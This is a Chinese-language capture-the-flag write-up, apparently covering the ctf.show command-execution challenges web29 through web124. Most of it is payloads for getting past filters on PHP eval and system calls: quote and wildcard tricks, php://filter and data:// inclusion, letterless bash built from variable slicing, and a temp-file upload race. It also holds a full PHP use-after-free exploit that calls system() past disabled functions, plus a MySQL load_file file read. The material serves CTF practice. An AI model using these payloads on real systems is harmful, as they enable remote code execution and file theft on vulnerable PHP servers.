命令执行

web29

1
echo `nl fl''ag.php`;

web30

1
echo `nl fl''ag.p''hp`;

web31

1
show_source(next(array_reverse(scandir(pos(localeconv())))));

web32

1
2
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

web33

1
2
c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

web34

1
2
c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

web35

1
2
c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

web36

1
2
c=include$_GET[a]?>&a=php://filter/read=convert.base64-
encode/resource=flag.php

web37

1
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web38

1
2
3
nginx的日志文件/var/log/nginx/access.log
<?php system('cat flag.php');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

1
?c=data://text/plain,<? = system("tac fla*.php") ;? >//

web40

1
2
3
无参数RCE
c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');
c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));

web41

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$P = '/[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-/i';
$res1 = '';
$res2 = '';
$target = 'cat flag.php';
$len = strlen($target);
for ($i = 0; $i < $len; $i++) {
$loop = true;
for ($n1 = 0; $n1 < 256; $n1++) {
if (!$loop) break;
$n1Hex = $n1 < 16 ? '0' . dechex($n1) : dechex($n1);
if (preg_match($P, hex2bin($n1Hex))) continue;
for ($n2 = 0; $n2 < 256; $n2++) {
$n2Hex = $n2 < 16 ? '0' . dechex($n2) : dechex($n2);
if (preg_match($P, hex2bin($n2Hex))) continue;
$n1UrlEncode = '%' . $n1Hex;
$n2UrlEncode = '%' . $n2Hex;
$orRes = urldecode($n1UrlEncode) | urldecode($n2UrlEncode);
if ($orRes === $target[$i]) {
$res1 .= $n1UrlEncode;
$res2 .= $n2UrlEncode;
$loop = false;
break;
}
}
}
}
echo '\'' . $res1 . '\'' . '|' . '\'' . $res2 . '\'';

web42

1
2
3
4
5
6
7
8
使用 " ; " " || " " & " " && " 分隔

/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

web43

1
nl flag.php%0a

web44

1
nl fla*.php%0a

web45

1
echo$IFS`tac$IFS*`%0A

web46

1
nl<fla''g.php||

web47

1
?c=ca\t<fl\ag.php||

web48

1
url/?c=tac<fla%27%27g.php||

web49

1
?c=tac%09fla?.php%26%26ls

web50

1
?c=tac<fl%27%27ag.php||

web51

1
?c=t''ac<fl''ag.php%0a

web52

1
nl$IFS/fla''g||

web53

1
2
c''at${IFS}fla''g.p''hp
ta\c${IFS}fla\g.php或者把\换成''也行

web54

1
2
3
4
5
/bin/?at${IFS}f???????
mv flag.php t.txt
c??${IFS}????????
c= mv${IFS}fla?.php${IFS}a.txt c=uniq${IFS}a.txt
c=uniq${IFS}f???.php

web55

1
2
3
4
bash无字母命令执行
使用$'\154\163'(或者$'\x6c\x73')会执行ls

故payload是/?c=$'\143\141\164'%20*

web56

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

没有过滤 ., 在 Linux 中.类似于 source 命令即执行 bash 文件,

写一个可上传文件的小网页, 传入参数?c =.+/???/????????[@-[]

[@-[] 相当于 [64-91] (ascii 码)(A = 65 Z = 90)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

抓包在文件上传处上传 1.php

1
PHP在处理一个文件上传的请求数据包时,会将目标文件流保存到临时目录下,并且会以PHP+随机六位字符串进行保存(php[0-9A-Za-z]{3,4,5,6}),而一个文件流的处理有存活周期,在php运行的过程中,假如php非正常结束,比如崩溃,那么这个临时文件就会永久的保留。如果php正常的结束,并且该文件没有被移动到其它地方也没有被改名,则该文件将在表单请求结束时被删除。在这期间,一个临时文件存活时间大概有30s
1
2
#!/bin/bash
cat flag.php

web57

1
2
3
4
5
6
7
echo ${#} //0 echo ${##} //1 echo $((${##}+${##})) //2 echo $(($((${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##})))) //36

通过$(())操作构造出36$(()) :代表做一次运算,因为里面为空,也表示值为0
$(( ~$(()) )) :对0作取反运算,值为-1
$(( $((~$(()))) $((~$(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2
$(( ~$(( $((~$(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1
故我们在$(( ~$(( )) ))里面放37$((~$(()))),得到-37,取反即可得到36:

web58

1
2
3
4
eval在php里面是执行代码层面的函数,无法直接执行linux命令
c=show_source('flag.php');
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
无参数读取 show_source(array_rand(array_flip(scandir(getcwd()))))

web59

1
2
c=print_r(scandir(dirname('FILE')));
highlight_file("flag.php");

web60

1
2
3
c=print_r(scandir(dirname('FILE')));
highlight_file("flag.php");
c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web61

1
c=print_r(scandir(dirname('FILE')));

web62

1
2
c=highlight_file("flag.php");或者c=show_source("flag.php");
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

web63

1

web64

web65

1
show_source(next(array_reverse(scandir(pos(localeconv())))))

web66

1
2
c=print_r(scandir("/"));
c=highlight_file('/flag.txt');

web67

1
2
3
4
5
查看根目录内容
c=var_dump(scandir("/"));
查看文件内容
POST传参:c=highlight_file("/flag.txt");
POST传参:c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=/flag.txt

web68

1
2
3
4
c=var_dump(scandir("/")); c=readgzfile("/flag.txt");
试试include和require即可
var_dump((new SplFileObject("flag.txt"))->fpassthru());

web69

1
2
读取函数readgzfile:可以读取非gz格式的文件,echo无法输出数组
?c=echo(implode('---',scandir("/"))); ?c=readgzfile('/flag.txt');

web70

1
使用c=var_export(scandir('/'));依然可以读取根目录下的文件列表。之后即可includerequire

web71

1
2
3
4
5
exit()/die()提前结束程序
$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容
c=var_export(scandir('/'));exit();
c=include("/flag.txt");die();

web72

1
2
3
4
5
6
c=?><?php $a = new DirectoryIterator("glob:///*"); // 创建一个DirectoryIterator对象,遍历根目录
foreach ($a as $f) { // 遍历每个条目
echo($f->__toString() . ' '); // 输出条目的名称,并添加一个空格
}
发现flag0.txt
使用uaf脚本进行命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
c=?><?php
pwn("ls /;cat /flag0.txt");

//uaf脚本
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

经过URL编码之后用Post上传

web73

1
var_export(scandir('/'));本题没有open_basedir限制(也可以用上一题的UAF,但需改写相关关键字) 发现有flagc.txt 或者 echo(implode(' ',scandir('/')));数组拼接为字符串 include,require包含失败 可用readgzfile('/flagc.txt'); 拿到Flag

web74

1
同上

web75

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web76

1
同上

web118

1
2
3
测试发现题目过滤了所有小写字母和一些特殊符号,用之前题目的方式绕过空格和字符串,如果有数字又得采用自增方式绕过 ${PATH:A}为环境变量的最后一个字母,一般环境变量命名规范为/bin所以取到n ${PWD:~A}当前系统环境linux+apache,所以pwd为/var/www/html取到了l ${PATH:~A}${PWD:~A} = nl命令 ????.???用来匹配flag.php 最终拼接成 ${PATH:~A}${PWD:~A}${IFS}????.???

${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

web119

1
2
3
4
${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t
${PWD:${Z}:${#SHLVL}} ====> /
/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

web124

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
首先需要理解正则 /[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/ 它会绕过数字和特殊符号,而一旦存在一个字符,它就会匹配出后续内容当做函数名,并检查其是否在白名单内

所以函数名必须在白名单内,且参数必须为数字和特殊符号,因为这样的话,正则的第一项迟迟不成立,那么后续的匹配就不会开始,也就绕过了白名单

hex十六进制 5f474554 (不能有字母所以十六进制不行)

所以现在问题是如何构造system(cat flag.php) 参数为数字,又能将参数转化为字符串的函数,首先想到hex2bin这个函数,但是它并不在白名单内,所以需要构造hex2bin这个字符串,再拿去调用 先echo base_convert('hex2bin',36,10);得到hex2bin的10进制数字base_convert(37907361743,10,36)就等于hex2bin

再echo hexdec(bin2hex('_GET'));得到_GET的10进制数字为1598506324

所以hex2bin(dechex(1598506324))就等于_GET,为什么不能直接用16进制而非要传递一个10进制转换成16进制多此一举呢,也是因为16进制参数为0x123456它存在一个x,会匹配正则的第一项,从而将后续123456当成函数名导致不能过掉白名单

所以base_convert(37907361743,10,36)(dechex(1598506324))就等于_GET了

再提交参数1=system&2=cat+flag.php,也可以不提交数字,提交一个在白名单的函数名作为参数名也可以过白名单匹配

最终构造payload

/?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));$$cos{1}($$cos{2})&1=system&2=cat+flag.php

命令执行总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
~A取最后一个字符 #用来计算变量的字符长度 ${:a:b}从下标为a截取b个字符
${PWD: -2:1}从后往前截取(必须有空格)

0:用未定义的变量表示
1:${#SHLVL} ${##} ${#?}
2:可以查看php版本,比如7.3.22,可以用${PHP_VERSION:~A}
3:${#IFS}=3
5:${#RANDOM}
/:${PWD:$A:${##}}

如果没有回显的话,尝试构造/usr/bin/echo+${}进行拼接
/??r/???/??ho
/??${PWD:${#IFS}:${##}}/???/??${HOME:${##}:${##}}${HOME:${#SHLVL}:${##}}${PATH}

或者/usr/bin/printenv也行
/??r/???/???????v
/??${PWD:${#IFS}:${##}}/???/???????${PWD:${##}:${##}}

/usr/bin/printf + ${}
/??r/???/?r?n??
/??${PWD:${#IFS}:${##}}/???/?${PWD:${#IFS}:${##}}?${SHELL:${#IFS}:${##}}??

/usr/bin/env直接输出环境变量
/??r/???/?n?
/??${PWD:${#IFS}:${##}}/???/?${SHELL:${#IFS}:${##}}?